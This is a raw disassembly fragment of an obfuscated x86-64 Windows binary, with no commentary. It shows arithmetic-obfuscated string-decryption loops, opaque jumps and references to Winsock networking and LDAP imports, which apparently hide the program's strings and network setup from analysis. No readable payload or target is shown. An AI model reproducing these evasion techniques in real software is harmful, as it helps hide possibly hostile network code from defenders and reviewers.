lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x14009fc42
movabs rdx, 0x79467d69879ee9e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x20
add r10b, dl
jmp 0x14009fbc0
movabs rdx, 0xdc68f6e8ec6a2420
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rcx, 0xce6ec3404d9a62e0
jmp 0x14009fb3e
movabs rdx, 0x78b02232ed50e300
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r10d, bl
sub r10b, cl
jmp 0x1400a05a6
movabs rcx, 0x3ef51531b6e75780
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x80
dec rdi
inc rdi
jmp 0x14009fb22
movabs rdx, 0xa2178eb11bb291c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x40
jmp 0x1400a062b
movabs rcx, 0x53a0830807dcc00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
jmp 0x1400a0676
movabs rdx, 0x685c81afe5490640
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009fb22
movabs rdx, 0xcb7efb2f4a144080
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x1400a06b5
movabs rdx, 0x2ea174aeaedf7ac0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x40
add r10b, dl
jmp 0x1400a06e6
movabs rcx, 0x91c3ee2e13aab500
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009fb22
movabs rcx, 0x899a1dec8fa6c6a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
mov byte [rbp + rdi + 0xa28], r10b
inc rdi
jmp 0x14009fb22
movabs rdx, 0x4fdf10eb593d3b20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
cmp r8, 0x200
jae 0x1400a0445
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400a03a4
movabs rdx, 0x1f7a8a98db73abc0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x40
add r10b, dl
cmp r9, 9
jb 0x14009ffa1
movabs rdx, 0x4021cb9eeb836540
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 + 0x80]
jmp 0x1400a05a9
movabs rdx, 0xb3018a6abe087560
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 1
je 0x1400a046a
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400a02f2
movabs rdx, 0x306486527dc98f60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009ffd4
movabs rdx, 0x9a8419a631fcaa40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009fb22
movabs rdx, 0x60c90ca4fb931ec0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x40
add r10b, dl
jmp 0x1400a06b5
movabs rcx, 0xc3eb8624605e5900
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009fb22
movabs rdx, 0x270dffa3c5299340
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400a0676
movabs rdx, 0x8a30792329f4cd80
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x80
jmp 0x1400a062b
movabs rcx, 0xed52f2a28ec007c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x40
dec rdi
inc rdi
jmp 0x14009fb22
movabs rcx, 0x50756c21f38b4200
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
inc r9
dec rdi
inc rdi
jmp 0x14009fb22
movabs rdx, 0xb397e5a158567c40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400a05a6
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400a0225
movabs rcx, 0xce6ec3404d9a62e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x1400a0061
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a0266
movabs rcx, 0xde2c088cbb5438c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x40
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009fb22
inc rax
cmp r8, rax
jne 0x1400a029a
movabs rdx, 0x17e7158df1bdc440
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400a06b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a02d6
movabs rcx, 0xb4c49c0e8cf28a00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009fb22
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a0061
movabs rdx, 0xee7fa90fc35c1580
jmp 0x1400a0165
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a0324
movabs rdx, 0xcd420cd318fe5520
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400a05a6
inc rax
cmp r8, rax
jne 0x1400a033f
movabs rcx, 0x6fd19d44f67e0a0
jmp 0x1400a0559
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a036f
movabs rcx, 0x7a7333d6bc3af7a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1400a06b5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009ffd4
movabs rdx, 0x1750ba57576fbd60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400a06e6
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a03e5
movabs rcx, 0xbc58111976a87180
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x80
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009fb22
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a0415
movabs rdx, 0xf6131e1aad11fd00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r10d, bl
sub r10b, cl
add r10b, dl
jmp 0x1400a06b5
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a0010
movabs rcx, 0x2fce2b1be37b8880
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x1400a0676
movabs rdx, 0xdcff521f86b82b00
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, byte [rbp + rdi + 0xa28]
sub r10b, al
jmp 0x1400a0628
movabs rcx, 0x79dcd8a021ecf0c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xa28]
lea r10d, [rbx + rcx]
sub r10b, 0x40
jmp 0x1400a06b5
movabs rdx, 0x72dfbecbd2851020
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009fb22
movabs rdx, 0x3924b1ca9c1b84a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x1400a06b5
movabs rcx, 0x9c472b4a00e6bee0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x20
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009fb22
movabs rdx, 0xff69a4c965b1f920
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400a0676
movabs rcx, 0xc5ae97c82f486da0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
dec rdi
inc rdi
jmp 0x14009fb22
movabs rdx, 0x8bf38ac6f8dee220
jmp 0x1400a0309
movabs rdx, 0x52387dc5c27556a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x60
add r10b, dl
movabs rdx, 0xe908edf391dc820
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xa28], cl
inc r9
dec rdi
inc rdi
jmp 0x14009fb22
movabs rdx, 0x187d70c48c0bcb20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x14009fb22
movabs rdx, 0x7b9fea43f0d70560
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rcx, 0xab6e155fd4528de0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x20
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0xa28], cl
jmp 0x1400a0676
movabs rcx, 0xdec263c355a23fa0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009fb22
mov rbx, r11
movabs rdx, 0xa50756c21f38b420
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0x484b9be06f8753a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x60
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xa28], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x16ba5f20bd21b680
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x80
add cl, bl
mov byte [rbp + rdi + 0xa28], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009fb22
movabs rcx, 0x6b4c49c0e8cf28a0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009fb22
movabs rdx, 0x3f8b706851355e60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009fb1e
movabs rcx, 0xa2ade9e7b60098a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
jmp 0x14009fb0b
lea rcx, [rbp + 0x17a78a8]
jmp 0x1400a07c9
lea rcx, [rbp + 0x54db88]
jmp 0x1400a07c9
lea rcx, [rbp + 0xa28]
mov dword [rbp + 0x1040], 0x1f4
mov dword [rbp + 0x1038], reloc.WLDAP32.dll_Ordinal_60
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x1040]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1038]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
test al, al
je 0x1400a085f
lea rdx, [0x140225dd0]
lea rcx, [rbp + 0x328]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x18]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a2a12
mov eax, dword [rdi + 0x30]
mov dword [0x1401d88a0], eax
mov dword [rbp - 0x5c], 0
mov dword [rbp - 0x58], 0
mov byte [rbp + 0xa50], 0x51
mov byte [rbp + 0xa51], 0x85
mov byte [rbp + 0xa52], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa53], 0x87
mov byte [rbp + 0xa54], Ordinal_45
mov byte [rbp + 0xa55], 0x56
mov byte [rbp + 0xa56], 0x7e
mov byte [rbp + 0xa57], 0x7a
mov byte [rbp + 0xa58], 0x65
mov byte [rbp + 0xa59], Ordinal_143
mov byte [rbp + 0xa5a], 2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa5b], xmm0
mov qword [rbp + 0xa6b], rax
movabs rsi, 0x1399530fc7e8d4aa
movabs r13, 0x258134b79bce2282
movabs r14, 0x5d279fb198ecbc96
movabs r15, 0x1225364261507792
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1400a16f3
movzx r11d, byte [rbp + rdi + 0xa50]
mov rbx, r11
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400a16e7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a0963
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x72
jmp 0x1400a09a0
je 0x1400a1650
inc rax
cmp r8, rax
je 0x1400a15ad
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a1548
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a151d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a14ef
nop dword [rax]
cmp r9, rdi
ja 0x1400a16db
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400a09d6
lea rdx, [rdi + rsi]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400a0a10
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a1496
inc rax
cmp r8, rax
je 0x1400a1467
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a1442
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a140e
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400a1096
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400a1071
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400a1043
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400a1018
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400a0ff3
lea rcx, [r9 + 6]
cmp r8, rcx
je 0x1400a0fce
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400a0f95
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a0f6f
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a0f46
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400a0f0c
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400a0a20
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400a16b2
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400a1689
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400a0c0b
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400a0beb
lea rcx, [r9 + 0xa]
cmp r8, rcx
jb 0x1400a0bcc
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400a0ea8
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400a0e49
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400a0df6
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400a0dc2
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400a0a20
mov r8, rcx
lea r9, [rcx + 0x64]
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400a0d8c
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400a0d64
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400a0d3e
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400a0d05
lea rcx, [r9 + 0x28]
cmp r8, rcx
ja 0x1400a0cdc
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400a0cb6
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400a0c87
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400a0c59
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400a0c34
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400a0a20
mov r8, rcx
lea r9, [rcx + 2]
jmp 0x1400a0a20
lea rdx, [rdi + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
add r10b, dl
jmp 0x1400a0a10
lea rdx, [rdi + r15]
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a09a0
movabs rdx, 0xc722ccd329b4328e
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a0925
movabs rdx, 0x9cca987e3f46a550
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
jmp 0x1400a14b7
movabs rcx, 0x51c82f0f07aa604c
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
inc r9
dec rdi
inc rdi
jmp 0x1400a0912
movabs rdx, 0x6c5c59fd00e1b48
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rdi
inc rdi
jmp 0x1400a0912
movabs rdx, 0xbbc35c309871d644
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400a1568
movabs rdx, 0x70c0f2c160d59140
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a1595
movabs rdx, 0x25be895229394c3c
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a0912
movabs rdx, 0xdabc1fe2f19d0738
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400a15d0
movabs rdx, 0x8fb9b673ba00c234
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
add r10b, dl
jmp 0x1400a1606
movabs rcx, 0x44b74d0482647d30
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
movzx eax, byte [rbp + rdi + 0xa50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a0912
movabs rdx, 0x8931456e775dd0a6
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rdi + 0xa50], r10b
inc rdi
jmp 0x1400a0912
movabs rdx, 0x3e2edbff3fc18ba2
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
add r10b, dl
cmp r9, 9
jb 0x1400a0de6
movabs rdx, 0xf17b01281421bfcc
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x28]
jmp 0x1400a14ba
movabs rdx, 0xf32c72900825469e
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x52
add r10b, dl
cmp r8, 5
jae 0x1400a13b2
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400a12c1
movabs rdx, 0x362e2cfe8070da4
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
jmp 0x1400a0e16
movabs rdx, 0xa82a0920d089019a
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x36
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 2
je 0x1400a13e0
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400a11af
movabs rdx, 0xefc98fc0201e38fa
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400a0e69
movabs rdx, 0x7597f25eaf74fbfc
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xa50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a0912
movabs rdx, 0x2a9588ef77d8b6f8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a1606
movabs rdx, 0xdf931f80403c71f4
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400a15d0
movabs rdx, 0x9490b61108a02cf0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a0912
movabs rcx, 0x498e4ca1d103e7ec
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
jmp 0x1400a1595
movabs rdx, 0xfe8be3329967a2e8
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
jmp 0x1400a1568
movabs rcx, 0xb38979c361cb5de4
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3c
dec rdi
inc rdi
jmp 0x1400a0912
movabs rcx, 0x688710542a2f18e0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x1400a0912
movabs rdx, 0x1d84a6e4f292d3dc
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 4
jmp 0x1400a14b7
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400a10c0
lea rdx, [rdi + r13]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400a0ec8
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a1103
movabs rcx, 0x2732a61f8fd1a954
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4c
movzx eax, byte [rbp + rdi + 0xa50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a0912
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a1139
movabs rdx, 0x533c4bdc6e42bd64
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a1595
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a1175
movabs rdx, 0xe9411ebadd7b476c
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rdi
inc rdi
jmp 0x1400a0912
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a0ecb
movabs rcx, 0x3443882a15178c70
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x1400a0912
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a11d0
movabs rdx, 0x3acbf92f57ba7dfe
mov ecx, 7
jmp 0x1400a14a5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a1202
movabs rcx, 0x66d59eec362b920e
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x62
jmp 0x1400a1595
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a1244
movabs rcx, 0xb1d8085b6dc7d712
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a0912
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400a127a
movabs rdx, 0x47dcdb39dd00611a
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a1606
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a0e6c
movabs rdx, 0x92df44a9149ca61e
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xa50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a0912
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a1308
movabs rdx, 0x4e654c3f1fa352a8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xa50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a0912
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a134e
movabs rdx, 0x2f6c888cc67821b4
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
